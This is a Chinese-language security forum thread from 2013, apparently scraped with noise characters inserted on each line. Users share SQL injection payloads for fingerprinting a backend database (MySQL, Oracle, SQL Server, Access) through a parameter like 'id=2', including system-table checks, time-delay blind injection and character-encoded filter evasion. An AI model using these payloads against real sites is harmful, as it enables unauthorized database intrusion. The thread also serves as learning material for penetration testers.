一个注射点如何最快速确认是什么类型数据库
$ ?1 }) F% h2 {' R6 Ixsser (十根阳具有长短!!) | 2013-02-05 12:36
- e+ x$ a" i1 L1 j. G; X: C假设这么一个注射点:
! `# y" h- n/ d+ L% F) o) ?show.html?id=2
/ p( _% U% d7 I/ j& i* Vmysql:id=2 and version()>0
9 `4 z( O: n. X$ z- `& _% L5 moracle:id=2 and '1'||'1'='11
5 E, v" \2 b* _$ A, }其他的欢迎补充, N- D6 i3 f0 P% X( O
1#
6 h D3 x$ n# ?3 H0 O1 A6 wupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:475 B- t X0 `* i# N& L, D
Access:
& T# g4 a' c: D; p7 {' l6 e% MaNd aSc(cHr(97))=97
( @. A2 Y& y) Aand exists(select id from MSysAccessObjects)
: F3 V, |( d2 Z; ?0 @SQL Server:
; C6 }$ Q( v4 c) _and exists(select id from sysobjects)
$ ~3 ~- a( l: d# E6 N3 w8 Z' qand length(user)>0
1 l: r/ s6 G+ h# ?MySQL:) \! F7 D! _6 a1 c! O0 }
and length(user())>0# z8 K' W9 u& S3 i" f1 M6 `& @1 Q
2#
# `% u1 i' f2 ?# R, vxsser (十根阳具有长短!!) | 2013-02-05 12:48
% ?0 M9 C6 ~, O5 z@upload 如果这些都不是呢…
8 U9 b! u4 l+ f6 T5 y; M3 k3#4 L# K5 r6 x X
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:034 k6 n3 f+ k8 u! G
@xsser 不快速的,延时注入
" q+ \, V5 K7 ~! b2 ^不知道这样写对不对
4 _8 k9 l9 v$ c( gmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'' t9 b% B( P& }6 e6 {, W
mysql:id=2 and select benchmark(1e8,current_date());
7 T" x8 u! f6 q- v4#
! q8 T1 O% a+ S& K4 y/ R5 Dupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
1 @6 v) G/ g% V8 H% y# B, }最快的貌似是看报错信息 R. N/ y$ W1 R$ Y8 s# T
oracle error) Y- g' ~9 G8 O) `
mssql error
8 z% E4 |, q3 m3 Zmysql error
. B ?) \" `+ m# M% v5#) s4 g/ g. e' i& r) m( A; `
Nimda (你们都是坏银~) | 2013-02-05 13:14
3 D6 j) _/ n- T! Q$ s& I; s3 @8 O( g小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)( ~3 m _6 X" Q9 \4 Z! ]
6#
( y8 ?* `2 p/ [: P' z; Eupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
- o" B, q/ K/ r4 {“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:2 Q& z, Z" a0 ?
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
2 i3 w8 S9 m1 c% y“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。3 \0 y! A! `2 ~9 f- T& I
7#; [# G6 Z6 W1 u
_Evil (HackEnd) | 2013-02-05 13:33
+ o. T6 x* ` _2 |6 {+ WPostgreSQL6 s- J" d$ e2 v
8#' { r, T( I/ ]: m+ W" l T
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42- Q7 B7 R; N# k$ Q
切换编码 and 1=17 T( \ A: _; F" o9 g
oracle:5 ?0 d! g; c+ k
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)5 ^& b) T) z* f6 ^4 u
mssql:; z& G W( L) { ]; d) q
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
4 ~ |' H7 O9 t) l/ K A2 V' ^3 Bmysql:
: X4 S% x& L% a3 M7 b* j- ^CHAR(97, 110, 100, 32, 49, 61, 49)2 I; `! K! F6 n- } U. t
9#
( }4 I* O, E' `7 V( Z9 Dxsser (十根阳具有长短!!) | 2013-02-05 14:31$ b5 @ n' L* r6 Y4 J/ T/ y
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
[& @. q. n( ]0 Z10#
2 {8 m' F; Z+ r. N- F# p1 xupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:464 A% Y2 K+ C( |% D; o* p" n* k( H
@xsser 是奇葩数据库类型的么?4 X2 R( g8 |" F' n1 V$ L" Y
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
; E @4 n' T' R$ Z+ }8 R& ~2 W/ u1.是否可以使用特定的函数来判断,该数据库特有的
) ]/ G/ O* Z0 x5 v$ m2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
8 @6 L7 n, C7 G: i; }. F6 p1 }8 y3.是否可以编码查询' P+ e2 z& p7 I; |7 s
4.是否显可以利用错信息
6 S; z3 _( h* [5 @3 c2 Y" r1 ?9 w5.是否存在数据库某些特性辅助判断' m! s0 o; M C+ @
个人见解
' O1 E/ q9 q" M11#
! Y! R/ @! S0 S' o5 C小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55. z( z5 o( v) Q
已收藏,mssql可以直接看到错误提示的吧~
L% |0 y, g# v12#2 y% w) s1 a3 t& A- a
Passer_by | 2013-02-05 15:09
7 f: p9 q8 Q6 u& H1 A曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
1 w* a+ i7 v! g# ^" dfrom:http://zone.wooyun.org/content/260 |